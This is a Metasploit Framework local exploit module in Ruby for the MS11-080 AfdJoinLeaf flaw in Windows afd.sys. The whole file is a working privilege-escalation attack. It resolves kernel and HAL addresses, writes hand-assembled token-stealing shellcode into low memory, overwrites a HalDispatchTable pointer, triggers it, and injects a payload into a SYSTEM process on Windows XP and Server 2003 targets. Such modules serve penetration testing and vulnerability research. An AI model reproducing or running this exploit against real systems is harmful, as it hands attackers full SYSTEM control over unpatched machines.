##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
# Average because this module relies on memory corruption within the
# kernel, this is inherently dangerous. Also if the payload casues
# the system process that it was injected into to die then it's also
# possible that the system may become unstable.
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info, {
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the AfdJoinLeaf function of the
afd.sys driver to overwrite data in kernel space. An address
within the HalDispatchTable is overwritten and when triggered
with a call to NtQueryIntervalProfile will execute shellcode.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process before restoring it's own token to
avoid causing system instability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matteo Memelli', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
'Arch' => [ ARCH_X86 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP2 / SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'HalpSetSystemInformation' => 0x19436,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
],
[ 'Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'HalpSetSystemInformation' => 0x21c60,
'_KPROCESS' => "\x38",
'_TOKEN' => "\xd8",
'_UPID' => "\x94",
'_APLINKS' => "\x98"
}
],
],
'References' =>
[
[ 'CVE', '2011-2005' ],
[ 'MSB', 'MS11-080' ],
[ 'EDB', 18176 ],
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
],
'DisclosureDate'=> 'Nov 30 2011',
'DefaultTarget' => 0
}))
register_options([
])
end
def find_sys_base(drvname)
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
if drvname == nil
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
local_sys = resolve_sid("S-1-5-18")
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
# Processes that can Blue Screen a host if migrated in to
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
next if dangerous_processes.include?(p["name"])
next if p["pid"] == session.sys.process.getpid
next if p["pid"] == 4
next if p["user"] != system_account_name
return p
end
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
print_error("Running against WOW64 is not supported")
return
elsif sysinfo["Architectore"] =~ /x64/
print_error("Running against 64-bit systems is not supported")
return
end
mytarget = target
if mytarget.name =~ /Automatic/
os = sysinfo["OS"]
if os =~ /windows xp/i
mytarget = targets[1]
end
if ((os =~ /2003/) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
mytarget = targets[2]
end
if mytarget.name =~ /Automatic/
print_error("Could not identify the target system, it may not be supported")
return
end
print_status("Running against #{mytarget.name}")
end
if is_system?
print_error("This meterpreter session is already running as SYSTEM")
return
end
this_proc = session.sys.process.open
kernel_info = find_sys_base(nil)
base_addr = 0x1001
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
socket = result['return']
irpstuff = rand_text_alpha(8)
irpstuff << "\x00\x00\x00\x00"
irpstuff << rand_text_alpha(4)
irpstuff << "\x01\x00\x00\x00"
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
irpstuff << rand_text_alpha(231)
if not this_proc.memory.writable?(0x1000)
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
if not this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
return
end
this_proc.memory.write(0x1000, irpstuff)
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
halbase = find_sys_base("hal.dll")[0]
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
#### Exploitation ####
shellcode_address_dep = 0x0002071e
shellcode_address_nodep = 0x000207b8
padding = make_nops(2)
halDispatchTable0x4 = halDispatchTable + 0x4
halDispatchTable0x8 = halDispatchTable + 0x8
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x10"
restore_token = "\x52"
restore_token << "\x33\xc0"
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
restore_token << "\x8b\x15\x00\x09\x02\x00"
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
restore_token << "\x5a"
restore_token << "\xc2\x10"
shellcode = padding + restore_ptrs + tokenstealing
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")
return
end
session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])
session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
])
print_status("Triggering AFDJoinLeaf pointer overwrite...")
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
if not is_system?
print_error("Exploit failed")
return
end
begin
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
host_process.memory.write(mem, payload.encoded)
host_process.thread.create(mem, 0)
rescue ::Exception => e
print_error("Failed to Inject Payload")
print_error(e.to_s)
end
# Restore the token because apparently BSODs are frowned upon
print_status("Restoring the original token...")
shellcode = padding + restore_ptrs + restore_token
this_proc.memory.write(shellcode_address_dep, shellcode)
this_proc.memory.write(shellcode_address_nodep, shellcode)
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
end
end
